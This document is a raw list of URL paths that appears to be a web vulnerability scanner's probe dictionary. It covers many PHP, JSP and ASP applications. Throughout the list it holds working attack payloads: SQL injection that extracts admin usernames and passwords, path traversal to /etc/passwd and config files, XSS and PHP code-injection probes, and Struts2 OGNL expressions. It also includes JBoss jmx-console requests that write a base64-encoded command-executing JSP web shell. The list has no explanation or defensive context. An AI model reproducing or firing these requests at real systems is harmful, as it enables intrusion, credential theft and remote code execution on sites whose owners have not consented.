/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&attr[jobnum]=1%27%20and%201%3D2%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2Cconcat%28CHAR%28116%2C%20104%2C%20105%2C%20115%2C%20126%2C%20105%2C%20115%2C%2064%2C%20110%2C%20111%2C%20116%2C%2035%2C%20101%2C%20120%2C%20105%2C%20115%2C%20116%2C%2095%2C%20105%2C%20110%2C%2035%2C%20116%2C%20104%2C%20105%2C%20115%2C%2064%2C%20115%2C%20101%2C%20114%2C%20118%2C%20101%2C%20114%2C%20126%2C%2051%2C%2046%2C%2049%2C%2052%2C%2049%2C%2053%2C%2057%2C%2050%2C%2049%2C%2050%2C%2096%29%2Cusername%2CCHAR%2858%29%2Cpassword%2CCHAR%28126%2C%20126%2C%20126%2C%20126%29%29%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C38%2C39%2C40%2C41%2C42%2C43%2C44%2C45%20from%20espcms_admin_member%3B%23 /index.php?ac=search&at=taglist&tagkey=%2527 /index.php?ac=search&at=taglist&tagkey=a%2527 /index.php?act=ajax&do=datacall&in_ajax=1&m=index&op=get_datacall /index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort= /index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc /index.php?act=phpinfo /index.php?act=search&key=click&order=desc /index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc /index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 /index.php?app=../../../../../../../../../../windows/win.ini%00.jpg /index.php?app=/../robots.txt%00 /index.php?app=find_password&act=set_password&id=999999999 /index.php?app=main&func=common&action=upFile&act=upforhtmleditor /index.php?app=tag&ac=add&ts=do /index.php?app=user&ac=../../../robots.txt%00 /index.php?app=user&ac=plugin&in=../../robots.txt%00 /index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id[task_to_run]=addons/Area)-%3EgetAreaList();print(md5('webscan360'));%23 /index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg /index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E /index.php?c=tj&f=include&js=/../../config.php /index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/cfreer.php /index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 /index.php?case=admin&act=login&admin_dir=admin&site=default /index.php?case=archive&act=doorders&aid[aid%60%3C2%20and%201=2%20--%20a]=1 /index.php?case=archive&act=orders /index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa /index.php?case=archive&act=search&ule=1&keyword=%2527)%20and%201%3D2%20UNION%20SELECT%201 /index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 /index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D /index.php?case=tag&act=show&tag=test%2522%2520union%2520select%2520%25221%2520union%2520select%25201%252C%25270)%20UNION%20SELECT%201 /index.php?case=user&act=edit /index.php?case=user&act=respond&ologin_code=qqlogin /index.php?case=user&act=space&mid=1 /index.php?controller=block&action=spec_value_list&id=1%20union%20select%201 /index.php?controller=block&action=spec_value_list&id=1%20union%20select%20concat(0x7e /index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122) /index.php?do=ajax&view=file&ajax=download&file_name=8fe4c11451281c094a6578e6ddbf5eed.txt&file_path=data/uploads/../../../../../../../../../../../../../../etc/passwd /index.php?do=ajax&view=shop&action=load_sale&shop_id=-1%20union%20select%201 /index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201 /index.php?igo=iss /index.php?index=a&skin=default/../&dataoptimize_html=/../../robots.txt /index.php?lang[tpl.str10]={${print(md5(0.699129056291))}} /index.php?lang[tpl.str10]={${print(md5(0.987474052942))}} /index.php?m=Appmanager&a=loadapp /index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 /index.php?m=Goods&a=showcate&id=1'cfreer /index.php?m=Order&a=index /index.php?m=announcement&s=admin/notice /index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201 /index.php?m=api&a=userpreview /index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://3.qqbj.net/uploadfile/1.thumb_.Php.JPG%20%20%20%20%20%20%20Php /index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://4.qqbj.net/uploadfile/1.thumb_.Php.JPG%20%20%20%20%20%20%20Php /index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://wooyun.org/logo/CNVDlogo.jpg /index.php?m=attachment&c=attachments&a=swfupload_json /index.php?m=brand&s=detail&id=test'+and+(select+1+from+(select+count(*) /index.php?m=company&s=admin/business_info_list /index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=cfreer%23 /index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*) /index.php?m=company&s=space_mail&tid=1)%20and%201=cfreer%20%23 /index.php?m=link&c=index&a=register&siteid=1'%20and%20(select%201%20from%20%20(select%20count(*) /index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201 /index.php?m=message&s=inquiry_basket /index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20cfreer) /index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29 /index.php?m=pay&c=respond&a=respond_post&code=1 /index.php?m=payment&s=admin/pickupmod /index.php?m=poster&c=index&a=poster_click&id=1 /index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt /index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php /index.php?m=tag&a=view&name=ssssss%c1%27%20union%20select%201 /index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27 /index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27 /index.php?m=vote&c=index&siteid=1'%20and%20(select%201%20from%20%20(select%20count(*) /index.php?m=wap&siteid=1 /index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= /index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 /index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 /index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 /index.php?mod=product&act=list&keyword=pw%'%20UNION%20SELECT%201 /index.php?option=com_enmasse&categoryId=1&controller=deal&keyword=1&locationId=1&&sortBy=117%20and%20(select%201%20from(select%20count(*) /index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2c77777777777777%2c77777777777777%2cconcat(0x3a3b3c3d3d3c3b3a%2cdatabase()%2c0x3a3b3c3d3d3c3b3a)%2c77777777777777%2c77777777777777%2c77777777777777%2c77777777777777%2c77777777777777%2c77777777777777%2c77777777777777--+D4NB4R%26limitstart%3d0 /index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 /index.php?option=com_kunena&func=userlist&search=%'%20and%201=2)%20union%20select%201 /index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'union+select+1+from+(select+count(*) /index.php?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1 /index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null%27+/*!50000UnIoN*/+/*!50000SeLeCt*/1+FROM+(SELECT+COUNT(*) /index.php?option=com_sectionex&view=category&id=7&Itemid=100 /index.php?option=com_spidercalendar&Itemid=1&date=999999.9'%20union%20all%20select%201 /index.php?option=com_spidercatalog&product_id=-1%27%20or%201%3d1%2b%28select%201%20and%20row%281%2c1%29%3E%28select%20count%28*%29%2cconcat%28CONCAT%280x3A /index.php?option=com_tag&task=tag&tag=%E6%9E%B6%E7%A9%BA'%20union%20all%20select%201 /index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 /index.php?plugins&q=imgurl&url=QGltZ3VybEAvY29yZS9jb21tb24uaW5jLnBocA== /index.php?product-%22%3E%3Ciframe%20src=javascript:window[%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22](42873)%20-1122-viewpic.html /index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product /index.php?q=aaaaatest'union%20select%20md5(1001001001) /index.php?tablepre=met_config%20WHERE%20name=0x6D65745F7461626C656E616D65%20and%20lang=0x6D6574696E666F%20and%201=1%23 /index.php?tablepre=met_config%20WHERE%20name=0x6D65745F7461626C656E616D65%20and%20lang=0x6D6574696E666F%20and%201=2%23 /index.php?tmpl=component&option=com_redshop&view=product&task=addtocompare&pid=24%22%20and%201=0%20union%20select%201 /index.php?user-getpass /index.php?user-space-1/**/and(select/**/1/**/from(select/**/count(*) /index.php?user-space-1/**/and/**/1=(updatexml(1 /index/searchInfoTcontentByCategory.action /index1.php /index1.php?act=phpinfo /info.php /info.php?fid=1&tblprefix=cms_msession%20and%201=cfreer%20-- /inforadar/jsp/file/file_download.jsp?fileType=file&fileName=../../error.jsp /inquiry.php?action=inquiry /install.log /install.php /install/include/install_lang.php?mod[]=ks /install/index.php /install/index.php.bak?insLockfile=1 /install/index.php.bak?insLockfile=a&step=2 /install/index.php?_a=check /install/index.php?_m=frontpage&_a=check /install/index.php?insLockfile=a&step=2 /install/index.php?step=1&insLockfile=1 /install/index.php?step=active /install/install.php?action=setup&dbhost=localhost&port=3306&dbname=test&dbuser=root&dbpassword=123456&tableprefix=b2bbuilder_&guid=6F9619FF-8B86-D011-B42D-00C04FC964FF /install/step4.aspx /install/svinfo.php /interface/auth.php?&PASSWORD=1&USER_ID=%df'%20and%20(select%201%20from%20(select%20count(*) /invoker/JMXInvokerServlet /iprober.php /iprober.php?act=phpinfo /ispirit/check_secure_key.php?USERNAME=%df'and%20(select%201%20from%20(select%20count(*) /ispirit/go.php?LOGIN_UID=%df'and%20(select%201%20from%20(select%20count(*) /ispirit/logincheck.php?USEING_KEY=2&USERNAME=cfreer%df'and%20(select%201%20from%20(select%20count(*) /item.php?act=ajax&do=subject&op=get_membereffect /item.php?act=search&keyword=%d5'%20and(select%201%20from(select%20count(*) /item/?c-5 /jcms/m_5_1/attach_dwn.jsp?filename=passwd&fpath=/etc/passwd /jcms/m_5_5/m_5_5_3/import.jsp /jcms/m_5_5/m_5_5_3/temp/upload/9a1158154dfa42caddbd0694a4e9bdc8.jsp /jcms/m_5_5/m_5_5_3/temp/upload/e2c420d928d4bf8ce0ff2ec19b371514.jsp /jcms/m_5_9/downfile.jsp?filename=/etc/passwd&savename=cfreer.txt /jcms/m_5_9/sendreport/ /jcms/setup/publishadmin.jsp /jcms/workflow/design/readxml.jsp?flowcode=../../../WEB-INF/config/dbconfig /jcms/workflow/sys/que_dictionary.jsp?que_keywords=1'%20and%20'1'='1%20 /jenkins/script/ /jgbwafue/gesvfnpa.jsp /jiaoyou.php?pid=1'%20or%20@%60'%60%20and(select%201%20from(select%20count(*) /jiaoyou.php?pid=1'%20or%20`'`%20and(select%201%20from(select%20count(*) /jiep/down.jsp?pathfile=down.jsp%00.txt /jis/down.jsp?pathfile=down.jsp%00 /jmx-console/ /jmx-console/HtmlAdaptor /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=test.war&arg1=test&arg2=.jsp&arg3=%0A%3C%25%40%20page%20import%3D%22java.util.%2A%2Cjava.io.%2A%22%20%25%3E%0A%3C%25%40%20page%20import%3D%22java.io.%2A%22%25%3E%0A%3C%25%0AString%20path%3Drequest.getRealPath%28%22%22%29%3B%0Aout.println%28path%29%3B%0AFile%20d%3Dnew%20File%28path%29%3B%0Aif%28d.exists%28%29%29%7B%0A%20%20d.delete%28%29%3B%0A%20%20%7D%0A%25%3E%0A%3C%25%20out.println%28%22this_is_not_exist_9.1314923%22%29%3B%25%3E&arg4=True /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=%0Aimport%20java.io.FileOutputStream%3B%0Aimport%20sun.misc.BASE64Decoder%3B%0A%0AString%20val%20%3D%20%22CjwlQApwYWdlIGltcG9ydD0iamF2YS51dGlsLiosIGphdmEuaW8uKiIKJT4KPCUKaWYgKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSAhPSBudWxsKQp7CiAgICBQcm9jZXNzIHAgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7CiAgICBPdXRwdXRTdHJlYW0gb3MgPSBwLmdldE91dHB1dFN0cmVhbSgpOwogICAgSW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CiAgICBEYXRhSW5wdXRTdHJlYW0gZGlzID0gbmV3IERhdGFJbnB1dFN0cmVhbShpbik7CiAgICBTdHJpbmcgZGlzciA9IGRpcy5yZWFkTGluZSgpOwogICAgd2hpbGUgKCBkaXNyICE9IG51bGwpCiAgICB7CiAgICAgICAgb3V0LnByaW50bG4oZGlzciArICI8YnI%2BIik7CiAgICAgICAgZGlzciA9IGRpcy5yZWFkTGluZSgpOwogICAgfQp9CgoKaWYgKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJkZWwiKSAhPSBudWxsKSB7CglTdHJpbmcgY29udGV4dFBhdGggPSByZXF1ZXN0LmdldFJlYWxQYXRoKCJnZXN2Zm5wYS5qc3AiKTsKICAgICAgIEZpbGUganNwRmlsZSA9IG5ldyBGaWxlKGNvbnRleHRQYXRoKTsKCWlmIChqc3BGaWxlLmV4aXN0cygpKSB7CgkJYm9vbGVhbiBkZWxSZXN1bHQgPSBqc3BGaWxlLmRlbGV0ZSgpOwoJfQoKfQoKJT48JSBvdXQucHJpbnRsbigiYXNwIisidWVkdGMiKTslPg%3D%3D%22%3B%0A%0ABASE64Decoder%20decoder%20%3D%20new%20BASE64Decoder%28%29%3B%0AString%20jboss_home%20%3D%20System.getProperty%28%22jboss.server.home.dir%22%29%3B%0Anew%20File%28jboss_home%20%2B%20%22/deploy/jgbwafue.war%22%29.mkdir%28%29%3B%0Abyte%5B%5D%20byteval%20%3D%20decoder.decodeBuffer%28val%29%3B%0AString%20jsp_file%20%3D%20jboss_home%20%2B%20%22/deploy/jgbwafue.war/gesvfnpa.jsp%22%3B%0AFileOutputStream%20fstream%20%3D%20new%20FileOutputStream%28jsp_file%29%3B%0Afstream.write%28byteval%29%3B%0Afstream.close%28%29%3B%0A&argType=java.lang.String&arg1=yvqubonz.bsh /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=%0Aimport%20java.io.FileOutputStream%3B%0Aimport%20sun.misc.BASE64Decoder%3B%0A%0AString%20val%20%3D%20%22CjwlQApwYWdlIGltcG9ydD0iamF2YS51dGlsLiosIGphdmEuaW8uKiIKJT4KPCUKaWYgKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSAhPSBudWxsKQp7CiAgICBQcm9jZXNzIHAgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7CiAgICBPdXRwdXRTdHJlYW0gb3MgPSBwLmdldE91dHB1dFN0cmVhbSgpOwogICAgSW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7CiAgICBEYXRhSW5wdXRTdHJlYW0gZGlzID0gbmV3IERhdGFJbnB1dFN0cmVhbShpbik7CiAgICBTdHJpbmcgZGlzciA9IGRpcy5yZWFkTGluZSgpOwogICAgd2hpbGUgKCBkaXNyICE9IG51bGwpCiAgICB7CiAgICAgICAgb3V0LnByaW50bG4oZGlzciArICI8YnI%2BIik7CiAgICAgICAgZGlzciA9IGRpcy5yZWFkTGluZSgpOwogICAgfQp9CgoKaWYgKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJkZWwiKSAhPSBudWxsKSB7CglTdHJpbmcgY29udGV4dFBhdGggPSByZXF1ZXN0LmdldFJlYWxQYXRoKCJqenNhd3Bobi5qc3AiKTsKICAgICAgIEZpbGUganNwRmlsZSA9IG5ldyBGaWxlKGNvbnRleHRQYXRoKTsKCWlmIChqc3BGaWxlLmV4aXN0cygpKSB7CgkJYm9vbGVhbiBkZWxSZXN1bHQgPSBqc3BGaWxlLmRlbGV0ZSgpOwoJfQoKfQoKJT48JSBvdXQucHJpbnRsbigidnF4IisiZXVwamgiKTslPg%3D%3D%22%3B%0A%0ABASE64Decoder%20decoder%20%3D%20new%20BASE64Decoder%28%29%3B%0AString%20jboss_home%20%3D%20System.getProperty%28%22jboss.server.home.dir%22%29%3B%0Anew%20File%28jboss_home%20%2B%20%22/deploy/mkrqaoie.war%22%29.mkdir%28%29%3B%0Abyte%5B%5D%20byteval%20%3D%20decoder.decodeBuffer%28val%29%3B%0AString%20jsp_file%20%3D%20jboss_home%20%2B%20%22/deploy/mkrqaoie.war/jzsawphn.jsp%22%3B%0AFileOutputStream%20fstream%20%3D%20new%20FileOutputStream%28jsp_file%29%3B%0Afstream.write%28byteval%29%3B%0Afstream.close%28%29%3B%0A&argType=java.lang.String&arg1=aqxjloht.bsh /job/job.php?lang=cn&id=2&settings[met_column]=met_admin_table%20where%201=2--%201 /js.php?jssort=shop&sort=1&num=2&panels=a'+and/**/1=2/**/union%20select+1 /js.php?sort=1&jssort=shop&where=%201=2%20/**/union/**/select/**/1 /js/ajax_city.js /js/calendar.php?lang=../js /js/jqeditor/skins/bg/index.php /js/tb.js /js/yu.js /js/yu.js/indexindex.php /jspcheck.jsp /jvideo/down.jsp?pathfile=/WEB-INF/ini/merpserver.ini%00.flv /jvideo/objectbox/selectx_userlist.jsp /jwplayer.swf /kindeditor/php/file_manager_json.php?path=/ /lib/upload/upload.php /link.php?act=go&city=sanming&url=secer'%20and%20(select%201%20from%20(select%20count(*) /link.php?act=go&url=webscan.cn' /lm/front/reg.jsp?sysid=../reg.jsp%00.jpg /log /log.nsf /log.php /login.action /login.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false) /login.asp /login.aspx?test=TestSystem&password=1122&oid=2%20and%202=(convert(int /login.jsp /login.php /login.php?LOGIN_USER_INCLUDE=/etc/passwd /login.php?SSL_CLIENT_S_DN_Email=%27+or+1=%28select+1+from+%28select+count%28*%29 /login/Log.aspx?loginname=/**/'/**/and/**/char(106)%3E0/**/-- /login/TransactList.aspx?ItemName='/**/and/**/1=char(106)/**/-- /login/proexamineview.aspx?ActivityInstanceId='/**/and/**/user/**/%3E0/**/-- /login/publicpage.aspx?infotype=InfoZWGK_zwgk'/**/and/**/char(106)%3E0/**/--&dic_name= /logincheck.php?UNAME=cfreer%df'and%20(select%201%20from%20%20(select%20count(*) /logincheck.php?USEING_KEY=2&USERNAME=cfreer%df'and%20(select%201%20from%20(select%20count(*) /logins.asp /logs /lostpass.php?md5=3&userid=-1'%20and%20(select%201%20from%20(select%20count(*) /m.php?m=User&a=doLogin /mail/admin/editor.php?load=config /mail/config/dbconfig.ini /mail/inc/database/system_admin/admin.ucf /manage/Config/BackupRestore.aspx /manage/Shop/profile/LmUserManage.aspx /manage/WAP/Other/AddDalen.aspx?menu=add /manage/Zone/TemplateList.aspx?OpenerText=a');%7Dalert(42873);%7B// /manage/login.php /management /management/login.asp /manager/html /manager/picupload.aspx /member.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false) /member.php?act=check_info_gold&table=phpmps_member%20where%201=1%20and%20%28SELECT%201%20from%20%28select%20count%28*%29 /member.php?act=index /member.php?act=login&op=forget /member.php?act=login&op=forget&rand=U7183 /member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1&username=360webscan&password=ooxx&quickforward=yes&handlekey=webscan360 /member/ajax_membergroup.php?action=post&membergroup=@%60'%60%20Union%20select%20concat(0x3336307765627363616e /member/ajax_membergroup.php?action=post&membergroup=@`'`%20Union%20select%20concat(0x233333333323 /member/getpassword.php?action=MembersAction&password=1&passworda=1&p=JyBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsMyw0NTYsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3LDE4LDE5LDIwLDIxLDIyLDIzLDI0LDI1LDI2LDI3LDI4LDI5LDMwLDMxOy0tIC40MTg2YmI3MDhjYTdjZjk3NzY1OWEyYmI3Mzg2MTAzZQ== /member/index.php /member/index.php?c=login&m=find /member/index.php?ugid31=51'%20and%20'1122'='12 /memcache.php /mep-admin/DcServlet /mep-admin/userAction!queryUser.action?start=0&limit=10 /message.php?act=webscan' /message/access.php?listinfo=info&metaccess=0&id=1111%20UN*ION%20SEL*ECT%201 /microshop/index.php?act=api&op=get_personal_commend&data_count=1%20UNION%20SELECT%201 /misc.php?mod=getuserinfo&uid=-1 /misc.php?mod=syscode&pnumber=C%27%20or%20%60%27%60%20%20or%20@%60%27%27%60%20union%20select%201%20from%20%28select%20count%28*%29 /mkitwebnew/styles/outlook1/tools/calendar/calEditEvent.php?action=edit%22%3E%3Cscript%3Ealert(42873)%3C/script%3Ebad=%22&calid= /mkrqaoie/jzsawphn.jsp /mobile/goods_list.php?type=1s'%20onmouseover=alert(/ed1e83f8d8d90aa943e4add2ce6a4cbf/)%20// /mobile/index.asp?act=view&id=1%20union%20select%201 /module/AIP/upload.php?RUN_ID=1&T_ID=1 /module/AIP/upload.php?T_ID=1&RUN_ID=1%df'and%20(select%201%20from%20(select%20count(*) /module/action/param1/$(@phpinfo()) /module/sel_seal/get.php?ID=%df'and%20(select%201%20from%20(select%20count(*) /msgChat/download.jsp?url=msgChat/download.jsp /musicbox.php?do=viewalbum&albumid=936%20and%201=2%20UNION%20SELECT%201 /mx_form/order_save.php /mx_form/order_save.php?form_id=5 /myadmin/ /myly.aspx?username=test'%20and%20@@version%3E0-- /mysql_error.log /names.nsf /nevercouldexistfilenosec /nevercouldexistfilenosec.aspx /nevercouldexistfilenosec.bak /nevercouldexistfilenosec.php /nevercouldexistfilenosec.rar /nevercouldexistfilenosec.shtml /nevercouldexistfilenosec.zip /nevercouldexistfilenosec/ /nevercouldexistfilewebsec /nevercouldexistfilewebsec.aspx /nevercouldexistfilewebsec.bak /nevercouldexistfilewebsec.php /nevercouldexistfilewebsec.rar /nevercouldexistfilewebsec.shtml /nevercouldexistfilewebsec.zip /nevercouldexistfilewebsec/ /new/ /new2/s_rpc.php /news.php?classid=2 /news/s_rpc.php /news/showinfo.jsp?id=-1' /newssearch.aspx?skey=1%25'%20and%201=char(106)%20-- /nginx-status /nosec_Web_Scanner_Test.dll /notes.php?action=view&nid=1-cfreer /notexist_path /notexist_path.action /notexist_path.asp /notexist_path.htaccess /notexist_path.jsp /notexist_path.log /notexist_path.php /null'%20/*!uNION*/%20/*!select*/%201 /oa_server/App_Pages/App_page/UserSpuerAdd.aspx /oa_server/App_Pages/App_page/user_list.aspx /old/ /p.php /p.php?act=phpinfo /p_list.aspx?keyword=%25&maxPrice=0&minPrice=0%20and%20(select%20top%201%20password%20from%20admin)%3E0 /page/html/?360webscan'.html /page/upload/down_file.jsp?fileName=cfreer.gif'%20or%20'1'='2 /pages/search_disk_usage.php?archive=a'%20and%20(SELECT%201%20FROM%20(select%20count(*) /pass.txt /passport-verify.html /passwd /password.txt /passwords.txt /pcheck/ /pcheck/index.html /pda/auth.php?P=%60%df'and%20(select%201%20from%20%20(select%20count(*) /personlogin.do?a=1${(%23_memberAccess['allowStaticMethodAccess']=true)(%23context['xwork.MethodAccessor.denyMethodExecution']=false)(%23_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET)(%23req=@org.apache.struts2.ServletActionContext@getRequest())(%23rep=@org.apache.struts2.ServletActionContext@getResponse())(%23rep.getWriter%28%29.println%28new%20java.lang.StringBuilder%28%22~~not_exist_in_html~~%22%29.append%28%23req.getRealPath%28%22%2F%22%29%29.append%28%22~3.1415621~%22%29.toString%28%29%29 /personlogin.do?class.classLoader.jarPath=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29 /personlogin.do?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true /personlogin.do?redirect:%25{103*30} /personlogin.do?redirect:%25{130*89} /pf/rate.php?id=1%20and%201=2%20UNION%20ALL%20SELECT%20NULL /pf/ratemovie.php?id=1%20and%201=2%20UNION%20ALL%20SELECT%20NULL /photo/s_rpc.php /php-ofc-library/ofc_upload_image.php?name=ed1e83f8d8d90aa943e4add2ce6a4cbf.txt /php.php?act=phpinfo /php/ /php/report/lastlogin_list_export.php?stime=a&time=0000-00-01%20union%20select%20@@version /phpMyAdmin/ /phpMyAdmin/ChangeLog /phpMyAdmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br][a%40http://webscan.360.cn%40]This%20Is%20a%20Link[%2Fa] /phpMyAdmin/show_config_errors.php /phpadmin/ /phpcheck.php /phpcheck.php?act=phpinfo /phpcms/data/js.php?id=1 /phpcms/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*) /phpinfo.php /phpinfo.php?act=phpinfo /phpmyadmin/ /phpmyadmin/ChangeLog /phpmyadmin/server_sync.php /phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data%5busername%5d=ks /phpsso_server/api.php?op=install&username=phpcms&password=cfreer&url=123&name=123&authkey=123&apifilename=123&charset=123&type=123&synlogin=123 /phpsso_server/api/uc.php?code=5f0ds3LNLPWtgVXJbLFE9QnyQtRYoLqBcepaefat8rTHJgkUt0J7U5av3uz57zMlyUdk6oGJwqCFhLgsxzbgSKXfufuzxJ3fNca49Cy09aBNKMfs534d0X3fokG8WqnSmOBuPiojKOsCMI58OOx/viGhTo99DMAlEho59sY4Ha/9B5tk6O6m5zMOOz9%2BTQO9ziWmieTG/7u0XXs9OShqqov8up7QUT6F2sEAQiTKrRyUKRbSU%2B70bMV669ZmOYr38a9Nvdsw8NTFa6TteXTQtLBKZiwA4745ZXNnLtfKSdGkINKFtpjjq3j0Qb4oLQ9sg7j2tBNHBWlf4lJysxmj1%2BMP%2Bt%2BshHTXPuX86z/8eMrKPplD7nM /phpsso_server/api/uc.php?code=dec0Hfdu%2Fkh7g9qSMqxHkpAOUSB7uMJ2pqcxZm6kkdY0xAqAbUaqV3noA56dIyd908KlMSyij9SKQQ3U2gU5uHdUbLHh%2BF7ZnA3mVL2sjK5zXGI /pic.aspx?classid=60)%20and%201=char(106)%20-- /play.swf /player.swf /plug/collect/AspCms_CollectFun.asp?action=getlinklist&todo=this&CollectID=1%20and%20%202=iif((1=1) /plug/vote/vote_setting.asp?action=save /plugin.php?id=Network114:Network114&ljtype=1%bf%27 /plugin.php?id=v63shop:goods&pac=info&gid=110%20or%20@`'`%20and%20(select%20*%20from%20(select%20count(*) /plugin/kindeditor/php/file_manager_json.php?path=/ /plugins/phpdisk_client/passport.php 